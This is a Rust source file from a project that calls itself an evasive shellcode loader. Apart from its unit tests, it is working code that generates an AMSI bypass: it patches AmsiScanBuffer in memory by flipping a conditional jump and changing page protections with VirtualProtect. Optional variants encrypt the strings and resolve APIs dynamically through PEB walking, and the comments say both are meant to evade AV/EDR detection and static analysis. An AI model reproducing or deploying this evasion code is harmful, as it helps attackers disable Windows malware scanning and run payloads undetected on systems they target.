myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

amsi_patch.rs (20697B)

      1 //! AMSI Patch Code Generation
      2 //!
      3 //! This module generates code for patching Windows Antimalware Scan Interface (AMSI)
      4 //! to bypass runtime script scanning. The technique works by modifying the AmsiScanBuffer
      5 //! function in amsi.dll to always return a clean result.
      6 //!
      7 //! # AMSI Bypass Technique
      8 //!
      9 //! The patch searches for a specific byte pattern (0xC3 0xCC 0xCC) in AmsiScanBuffer,
     10 //! then scans backwards to find a conditional jump instruction (0x74) that can be
     11 //! modified to an unconditional jump (0x75), causing the function to always return
     12 //! success without actually scanning the content.
     13 //!
     14 //! # Builder Pattern
     15 //!
     16 //! The `AmsiPatchBuilder` provides a flexible way to generate AMSI patch code with
     17 //! different configurations:
     18 //!
     19 //! - **Basic**: Static imports, plaintext strings
     20 //! - **String Encryption**: Encrypted "amsi.dll" and "AmsiScanBuffer" strings
     21 //! - **Dynamic Resolver**: Dynamically resolve API functions at runtime
     22 //!
     23 //! # Example
     24 //!
     25 //! ```
     26 //! use myph_v2::internals::templates::AmsiPatchBuilder;
     27 //!
     28 //! // Basic AMSI patch
     29 //! let code = AmsiPatchBuilder::new().build();
     30 //!
     31 //! // With string encryption
     32 //! let code = AmsiPatchBuilder::new()
     33 //!     .with_string_encryption("[encrypted]", "[encrypted]", "[key]", "decrypt_fn", "")
     34 //!     .build();
     35 //! ```
     36 
     37 /// Builder for generating AMSI patch code with configurable features
     38 pub struct AmsiPatchBuilder<'a> {
     39     with_string_encryption: bool,
     40     with_dynamic_resolver: bool,
     41     dll_array: Option<&'a str>,
     42     func_array: Option<&'a str>,
     43     key_array: Option<&'a str>,
     44     decrypt_fn: Option<&'a str>,
     45     expect_clause: Option<&'a str>,
     46     dynamic_params: Option<DynamicResolverParams<'a>>,
     47 }
     48 
     49 /// Parameters for dynamic function resolution in AMSI patching
     50 struct DynamicResolverParams<'a> {
     51     dll_resolver: &'a str,
     52     func_resolver: &'a str,
     53     load_library_resolver: &'a str,
     54     load_library_cast: &'a str,
     55     get_proc_address_resolver: &'a str,
     56     get_proc_address_cast: &'a str,
     57     virtual_protect_resolver: &'a str,
     58     virtual_protect_cast: &'a str,
     59 }
     60 
     61 impl<'a> AmsiPatchBuilder<'a> {
     62     pub fn new() -> Self {
     63         Self {
     64             with_string_encryption: false,
     65             with_dynamic_resolver: false,
     66             dll_array: None,
     67             func_array: None,
     68             key_array: None,
     69             decrypt_fn: None,
     70             expect_clause: None,
     71             dynamic_params: None,
     72         }
     73     }
     74 
     75     pub fn with_string_encryption(
     76         mut self,
     77         dll_array: &'a str,
     78         func_array: &'a str,
     79         key_array: &'a str,
     80         decrypt_fn: &'a str,
     81         expect_clause: &'a str,
     82     ) -> Self {
     83         self.with_string_encryption = true;
     84         self.dll_array = Some(dll_array);
     85         self.func_array = Some(func_array);
     86         self.key_array = Some(key_array);
     87         self.decrypt_fn = Some(decrypt_fn);
     88         self.expect_clause = Some(expect_clause);
     89         self
     90     }
     91 
     92     #[allow(clippy::too_many_arguments)]
     93     pub fn with_dynamic_resolver(
     94         mut self,
     95         dll_resolver: &'a str,
     96         func_resolver: &'a str,
     97         load_library_resolver: &'a str,
     98         load_library_cast: &'a str,
     99         get_proc_address_resolver: &'a str,
    100         get_proc_address_cast: &'a str,
    101         virtual_protect_resolver: &'a str,
    102         virtual_protect_cast: &'a str,
    103     ) -> Self {
    104         self.with_dynamic_resolver = true;
    105         self.dynamic_params = Some(DynamicResolverParams {
    106             dll_resolver,
    107             func_resolver,
    108             load_library_resolver,
    109             load_library_cast,
    110             get_proc_address_resolver,
    111             get_proc_address_cast,
    112             virtual_protect_resolver,
    113             virtual_protect_cast,
    114         });
    115         self
    116     }
    117 
    118     pub fn build(self) -> String {
    119         let imports = generate_imports_section(self.with_dynamic_resolver);
    120         let string_loading = generate_string_loading_section(StringLoadingParams {
    121             with_string_encryption: self.with_string_encryption,
    122             with_dynamic_resolver: self.with_dynamic_resolver,
    123             dll_array: self.dll_array,
    124             func_array: self.func_array,
    125             key_array: self.key_array,
    126             decrypt_fn: self.decrypt_fn,
    127             expect_clause: self.expect_clause,
    128             dynamic_params: self.dynamic_params.as_ref(),
    129         });
    130         let api_resolution = generate_api_resolution_section(
    131             self.with_dynamic_resolver,
    132             self.dynamic_params.as_ref(),
    133         );
    134         let protection_resolution = generate_protection_resolution_section(
    135             self.with_dynamic_resolver,
    136             self.dynamic_params.as_ref(),
    137         );
    138         let patch_logic = generate_patch_logic();
    139 
    140         let load_library_fn = if self.with_dynamic_resolver {
    141             "load_library_a"
    142         } else {
    143             "LoadLibraryA"
    144         };
    145         let get_proc_address_fn = if self.with_dynamic_resolver {
    146             "get_proc_address"
    147         } else {
    148             "GetProcAddress"
    149         };
    150         let virtual_protect_fn = if self.with_dynamic_resolver {
    151             "virtual_protect"
    152         } else {
    153             "VirtualProtect"
    154         };
    155 
    156         format!(
    157             r#"
    158 {imports}
    159 
    160 const SEARCH_SIZE: usize = 0x1000;
    161 
    162 fn patch_amsi() -> Result<(), String> {{
    163     unsafe {{
    164         let patch_opcode = 0x75u8;
    165 
    166 {string_loading}
    167 
    168 {api_resolution}
    169 
    170         let h_module = {load_library_fn}(amsi_dll.as_ptr());
    171         if h_module.is_null() {{
    172             return Err("Failed to load amsi.dll".to_string());
    173         }}
    174 
    175         let address = {get_proc_address_fn}(h_module, amsi_scan_buffer.as_ptr());
    176         if address.is_null() {{
    177             return Err("Failed to get AmsiScanBuffer address".to_string());
    178         }}
    179 
    180 {patch_logic}
    181 
    182 {protection_resolution}
    183 
    184         if {virtual_protect_fn}(p_patch_address, 1, page_execute_readwrite, &mut old_protect) == 0 {{
    185             return Err("Failed to change memory protection".to_string());
    186         }}
    187 
    188         *(p_patch_address as *mut u8) = patch_opcode;
    189 
    190         if {virtual_protect_fn}(p_patch_address, 1, old_protect, &mut old_protect) == 0 {{
    191             return Err("Failed to restore memory protection".to_string());
    192         }}
    193     }}
    194 
    195     Ok(())
    196 }}
    197 "#
    198         )
    199     }
    200 }
    201 
    202 impl Default for AmsiPatchBuilder<'_> {
    203     fn default() -> Self {
    204         Self::new()
    205     }
    206 }
    207 
    208 fn generate_imports_section(with_dynamic_resolver: bool) -> String {
    209     if with_dynamic_resolver {
    210         "use std::ptr::null_mut;".to_string()
    211     } else {
    212         r#"use std::ptr::null_mut;
    213 
    214 #[link(name = "kernel32")]
    215 extern "system" {
    216     fn LoadLibraryA(lp_lib_file_name: *const u8) -> *mut c_void;
    217     fn GetProcAddress(h_module: *mut c_void, lp_proc_name: *const u8) -> *mut c_void;
    218 }"#
    219         .to_string()
    220     }
    221 }
    222 
    223 struct StringLoadingParams<'a> {
    224     with_string_encryption: bool,
    225     with_dynamic_resolver: bool,
    226     dll_array: Option<&'a str>,
    227     func_array: Option<&'a str>,
    228     key_array: Option<&'a str>,
    229     decrypt_fn: Option<&'a str>,
    230     expect_clause: Option<&'a str>,
    231     dynamic_params: Option<&'a DynamicResolverParams<'a>>,
    232 }
    233 
    234 fn generate_string_loading_section(params: StringLoadingParams) -> String {
    235     if params.with_dynamic_resolver {
    236         let dyn_params = params.dynamic_params.unwrap();
    237         format!(
    238             r#"        {}
    239         {}
    240 
    241         let mut amsi_dll = amsi_dll_decrypted;
    242         amsi_dll.push(0);
    243 
    244         let mut amsi_scan_buffer = amsi_func_decrypted;
    245         amsi_scan_buffer.push(0);"#,
    246             dyn_params.dll_resolver, dyn_params.func_resolver
    247         )
    248     } else if params.with_string_encryption {
    249         format!(
    250             r#"        const ENCRYPTED_AMSI_DLL: &[u8] = &{};
    251         const ENCRYPTED_AMSI_FUNC: &[u8] = &{};
    252         const AMSI_KEY: &[u8] = &{};
    253 
    254         let amsi_dll_decrypted = {}(ENCRYPTED_AMSI_DLL, AMSI_KEY){};
    255         let amsi_func_decrypted = {}(ENCRYPTED_AMSI_FUNC, AMSI_KEY){};
    256 
    257         let mut amsi_dll = amsi_dll_decrypted;
    258         amsi_dll.push(0);
    259 
    260         let mut amsi_scan_buffer = amsi_func_decrypted;
    261         amsi_scan_buffer.push(0);"#,
    262             params.dll_array.unwrap_or(""),
    263             params.func_array.unwrap_or(""),
    264             params.key_array.unwrap_or(""),
    265             params.decrypt_fn.unwrap_or(""),
    266             params.expect_clause.unwrap_or(""),
    267             params.decrypt_fn.unwrap_or(""),
    268             params.expect_clause.unwrap_or("")
    269         )
    270     } else {
    271         r#"        let amsi_dll = b"amsi.dll\0";
    272         let amsi_scan_buffer = b"AmsiScanBuffer\0";"#
    273             .to_string()
    274     }
    275 }
    276 
    277 fn generate_api_resolution_section(
    278     with_dynamic_resolver: bool,
    279     dynamic_params: Option<&DynamicResolverParams>,
    280 ) -> String {
    281     if with_dynamic_resolver {
    282         let params = dynamic_params.unwrap();
    283         format!(
    284             r#"        {}
    285         {}
    286 
    287         {}
    288         {}"#,
    289             params.load_library_resolver,
    290             params.load_library_cast,
    291             params.get_proc_address_resolver,
    292             params.get_proc_address_cast
    293         )
    294     } else {
    295         String::new()
    296     }
    297 }
    298 
    299 fn generate_protection_resolution_section(
    300     with_dynamic_resolver: bool,
    301     dynamic_params: Option<&DynamicResolverParams>,
    302 ) -> String {
    303     if with_dynamic_resolver {
    304         let params = dynamic_params.unwrap();
    305         format!(
    306             r#"        let mut old_protect: u32 = 0;
    307         let page_execute_readwrite: u32 = 0x40;
    308 
    309         {}
    310         {}"#,
    311             params.virtual_protect_resolver, params.virtual_protect_cast
    312         )
    313     } else {
    314         r#"        let mut old_protect: u32 = 0;
    315         let page_execute_readwrite: u32 = 0x40;"#
    316             .to_string()
    317     }
    318 }
    319 
    320 fn generate_patch_logic() -> String {
    321     r#"        let pattern = [0xC3u8, 0xCCu8, 0xCCu8];
    322         let mut p_patch_address: *mut c_void = null_mut();
    323         let bytes = std::slice::from_raw_parts(address as *const u8, SEARCH_SIZE);
    324 
    325         if let Some(x) = bytes.windows(pattern.len()).position(|window| window == pattern) {{
    326             for i in (0..x).rev() {{
    327                 if bytes[i] == 0x74 {{
    328                     let offset = bytes.get(i + 1).copied().unwrap_or(0);
    329                     let target_index = i.wrapping_add(2).wrapping_add(offset as usize);
    330 
    331                     if target_index < SEARCH_SIZE && bytes.get(target_index) == Some(&0xB8) {{
    332                         p_patch_address = (address as *const u8).add(i) as *mut c_void;
    333                         break;
    334                     }}
    335                 }}
    336             }}
    337         }}
    338 
    339         if p_patch_address.is_null() {{
    340             return Err("Failed to find patch location".to_string());
    341         }}"#
    342     .to_string()
    343 }
    344 
    345 /// Generates basic AMSI patch code with static imports and plaintext strings.
    346 ///
    347 /// This is the simplest form of AMSI patching, using standard Windows API imports
    348 /// and unencrypted strings. Suitable when stealth is not a primary concern.
    349 ///
    350 /// # Returns
    351 ///
    352 /// A Rust code string containing the `patch_amsi()` function with static imports.
    353 pub fn generate_amsi_patch_code() -> String {
    354     AmsiPatchBuilder::new().build()
    355 }
    356 
    357 /// Generates AMSI patch code with encrypted strings for "amsi.dll" and "AmsiScanBuffer".
    358 ///
    359 /// This variant encrypts the critical strings to avoid static detection by AV/EDR solutions.
    360 /// The strings are decrypted at runtime before use.
    361 ///
    362 /// # Arguments
    363 ///
    364 /// * `dll_array` - Encrypted byte array for "amsi.dll"
    365 /// * `func_array` - Encrypted byte array for "AmsiScanBuffer"
    366 /// * `key_array` - Encryption key byte array
    367 /// * `decrypt_fn` - Name of the decryption function to call
    368 /// * `expect_clause` - Optional expect clause for error handling (e.g., ".expect(\"msg\")")
    369 ///
    370 /// # Returns
    371 ///
    372 /// A Rust code string containing the `patch_amsi()` function with string encryption.
    373 pub fn generate_amsi_patch_code_with_string_encryption(
    374     dll_array: &str,
    375     func_array: &str,
    376     key_array: &str,
    377     decrypt_fn: &str,
    378     expect_clause: &str,
    379 ) -> String {
    380     AmsiPatchBuilder::new()
    381         .with_string_encryption(dll_array, func_array, key_array, decrypt_fn, expect_clause)
    382         .build()
    383 }
    384 
    385 /// Parameters for AMSI patching with dynamic function resolution.
    386 ///
    387 /// These parameters provide the code snippets needed to dynamically resolve
    388 /// Windows API functions at runtime, avoiding static IAT entries.
    389 pub struct AmsiDynamicResolverParams<'a> {
    390     pub dll_resolver: &'a str,
    391     pub func_resolver: &'a str,
    392     pub load_library_resolver: &'a str,
    393     pub load_library_cast: &'a str,
    394     pub get_proc_address_resolver: &'a str,
    395     pub get_proc_address_cast: &'a str,
    396     pub virtual_protect_resolver: &'a str,
    397     pub virtual_protect_cast: &'a str,
    398 }
    399 
    400 /// Generates AMSI patch code with dynamic function resolution.
    401 ///
    402 /// This is the most sophisticated variant, resolving all required Windows API functions
    403 /// at runtime through PEB walking. This avoids static imports in the IAT and makes
    404 /// static analysis more difficult.
    405 ///
    406 /// # Arguments
    407 ///
    408 /// * `params` - Configuration for dynamic function resolution including code snippets
    409 ///   for resolving LoadLibraryA, GetProcAddress, and VirtualProtect
    410 ///
    411 /// # Returns
    412 ///
    413 /// A Rust code string containing the `patch_amsi()` function with dynamic resolution.
    414 pub fn generate_amsi_patch_code_with_dynamic_resolver(params: AmsiDynamicResolverParams) -> String {
    415     AmsiPatchBuilder::new()
    416         .with_dynamic_resolver(
    417             params.dll_resolver,
    418             params.func_resolver,
    419             params.load_library_resolver,
    420             params.load_library_cast,
    421             params.get_proc_address_resolver,
    422             params.get_proc_address_cast,
    423             params.virtual_protect_resolver,
    424             params.virtual_protect_cast,
    425         )
    426         .build()
    427 }
    428 
    429 #[cfg(test)]
    430 mod tests {
    431     use super::*;
    432 
    433     #[test]
    434     fn test_generate_amsi_patch_code_basic() {
    435         let code = generate_amsi_patch_code();
    436         assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
    437         assert!(code.contains("const SEARCH_SIZE: usize = 0x1000"));
    438         assert!(code.contains("let amsi_dll = b\"amsi.dll\\0\""));
    439         assert!(code.contains("let amsi_scan_buffer = b\"AmsiScanBuffer\\0\""));
    440         assert!(code.contains("LoadLibraryA"));
    441         assert!(code.contains("GetProcAddress"));
    442         assert!(code.contains("let patch_opcode = 0x75u8"));
    443         assert!(code.contains("#[link(name = \"kernel32\")]"));
    444     }
    445 
    446     #[test]
    447     fn test_generate_amsi_patch_code_with_string_encryption() {
    448         let dll_array = "[1, 2, 3]";
    449         let func_array = "[4, 5, 6]";
    450         let key_array = "[7, 8, 9]";
    451         let decrypt_fn = "internals::decrypt_xor";
    452         let expect_clause = "";
    453 
    454         let code = generate_amsi_patch_code_with_string_encryption(
    455             dll_array,
    456             func_array,
    457             key_array,
    458             decrypt_fn,
    459             expect_clause,
    460         );
    461 
    462         assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
    463         assert!(code.contains("const ENCRYPTED_AMSI_DLL: &[u8] = &[1, 2, 3]"));
    464         assert!(code.contains("const ENCRYPTED_AMSI_FUNC: &[u8] = &[4, 5, 6]"));
    465         assert!(code.contains("const AMSI_KEY: &[u8] = &[7, 8, 9]"));
    466         assert!(code.contains("internals::decrypt_xor"));
    467         assert!(code.contains("let mut amsi_dll = amsi_dll_decrypted"));
    468         assert!(code.contains("amsi_dll.push(0)"));
    469         assert!(code.contains("#[link(name = \"kernel32\")]"));
    470     }
    471 
    472     #[test]
    473     fn test_generate_amsi_patch_code_with_dynamic_resolver() {
    474         let params = AmsiDynamicResolverParams {
    475             dll_resolver: "let amsi_dll_decrypted = vec![1, 2, 3];",
    476             func_resolver: "let amsi_func_decrypted = vec![4, 5, 6];",
    477             load_library_resolver: "let load_lib_ptr = resolve_function();",
    478             load_library_cast: "let load_library_a = std::mem::transmute(load_lib_ptr);",
    479             get_proc_address_resolver: "let get_proc_ptr = resolve_function();",
    480             get_proc_address_cast: "let get_proc_address = std::mem::transmute(get_proc_ptr);",
    481             virtual_protect_resolver: "let vp_ptr = resolve_function();",
    482             virtual_protect_cast: "let virtual_protect = std::mem::transmute(vp_ptr);",
    483         };
    484 
    485         let code = generate_amsi_patch_code_with_dynamic_resolver(params);
    486 
    487         assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
    488         assert!(code.contains("let amsi_dll_decrypted = vec![1, 2, 3]"));
    489         assert!(code.contains("let amsi_func_decrypted = vec![4, 5, 6]"));
    490         assert!(code.contains("let load_lib_ptr = resolve_function()"));
    491         assert!(code.contains("let get_proc_ptr = resolve_function()"));
    492         assert!(code.contains("let vp_ptr = resolve_function()"));
    493         assert!(!code.contains("#[link(name = \"kernel32\")]"));
    494         assert!(code.contains("load_library_a(amsi_dll.as_ptr())"));
    495         assert!(code.contains("get_proc_address(h_module, amsi_scan_buffer.as_ptr())"));
    496         assert!(code.contains("virtual_protect(p_patch_address"));
    497     }
    498 
    499     #[test]
    500     fn test_amsi_patch_builder_basic() {
    501         let code = AmsiPatchBuilder::new().build();
    502         assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
    503         assert!(code.contains("let amsi_dll = b\"amsi.dll\\0\""));
    504     }
    505 
    506     #[test]
    507     fn test_amsi_patch_builder_with_string_encryption() {
    508         let code = AmsiPatchBuilder::new()
    509             .with_string_encryption(
    510                 "[10, 20, 30]",
    511                 "[40, 50, 60]",
    512                 "[70, 80, 90]",
    513                 "decrypt_aes",
    514                 ".expect(\"Failed\")",
    515             )
    516             .build();
    517 
    518         assert!(code.contains("const ENCRYPTED_AMSI_DLL: &[u8] = &[10, 20, 30]"));
    519         assert!(code.contains("decrypt_aes"));
    520         assert!(code.contains(".expect(\"Failed\")"));
    521     }
    522 
    523     #[test]
    524     fn test_amsi_patch_builder_with_dynamic_resolver() {
    525         let code = AmsiPatchBuilder::new()
    526             .with_dynamic_resolver(
    527                 "dll_resolve",
    528                 "func_resolve",
    529                 "load_lib_resolve",
    530                 "load_lib_cast",
    531                 "getproc_resolve",
    532                 "getproc_cast",
    533                 "vp_resolve",
    534                 "vp_cast",
    535             )
    536             .build();
    537 
    538         assert!(code.contains("dll_resolve"));
    539         assert!(code.contains("func_resolve"));
    540         assert!(code.contains("load_lib_resolve"));
    541         assert!(code.contains("vp_resolve"));
    542         assert!(!code.contains("#[link(name = \"kernel32\")]"));
    543     }
    544 
    545     #[test]
    546     fn test_all_variants_contain_common_logic() {
    547         let basic = generate_amsi_patch_code();
    548         let encrypted =
    549             generate_amsi_patch_code_with_string_encryption("[1]", "[2]", "[3]", "decrypt", "");
    550         let dynamic = generate_amsi_patch_code_with_dynamic_resolver(AmsiDynamicResolverParams {
    551             dll_resolver: "let amsi_dll_decrypted = vec![];",
    552             func_resolver: "let amsi_func_decrypted = vec![];",
    553             load_library_resolver: "",
    554             load_library_cast: "",
    555             get_proc_address_resolver: "",
    556             get_proc_address_cast: "",
    557             virtual_protect_resolver: "",
    558             virtual_protect_cast: "",
    559         });
    560 
    561         for code in [basic, encrypted, dynamic] {
    562             assert!(code.contains("const SEARCH_SIZE: usize = 0x1000"));
    563             assert!(code.contains("let patch_opcode = 0x75u8"));
    564             assert!(code.contains("let pattern = [0xC3u8, 0xCCu8, 0xCCu8]"));
    565             assert!(code.contains("Failed to find patch location"));
    566             assert!(code.contains("if bytes[i] == 0x74"));
    567             assert!(code.contains("let page_execute_readwrite: u32 = 0x40"));
    568         }
    569     }
    570 
    571     #[test]
    572     fn test_generate_imports_section() {
    573         let with_static = generate_imports_section(false);
    574         assert!(with_static.contains("#[link(name = \"kernel32\")]"));
    575         assert!(with_static.contains("LoadLibraryA"));
    576 
    577         let with_dynamic = generate_imports_section(true);
    578         assert!(!with_dynamic.contains("#[link(name = \"kernel32\")]"));
    579         assert!(with_dynamic.contains("use std::ptr::null_mut"));
    580     }
    581 
    582     #[test]
    583     fn test_generate_patch_logic() {
    584         let logic = generate_patch_logic();
    585         assert!(logic.contains("let pattern = [0xC3u8, 0xCCu8, 0xCCu8]"));
    586         assert!(logic.contains("if bytes[i] == 0x74"));
    587         assert!(logic.contains("Failed to find patch location"));
    588     }
    589 
    590     #[test]
    591     fn test_builder_default() {
    592         let builder = AmsiPatchBuilder::default();
    593         assert!(!builder.with_string_encryption);
    594         assert!(!builder.with_dynamic_resolver);
    595     }
    596 }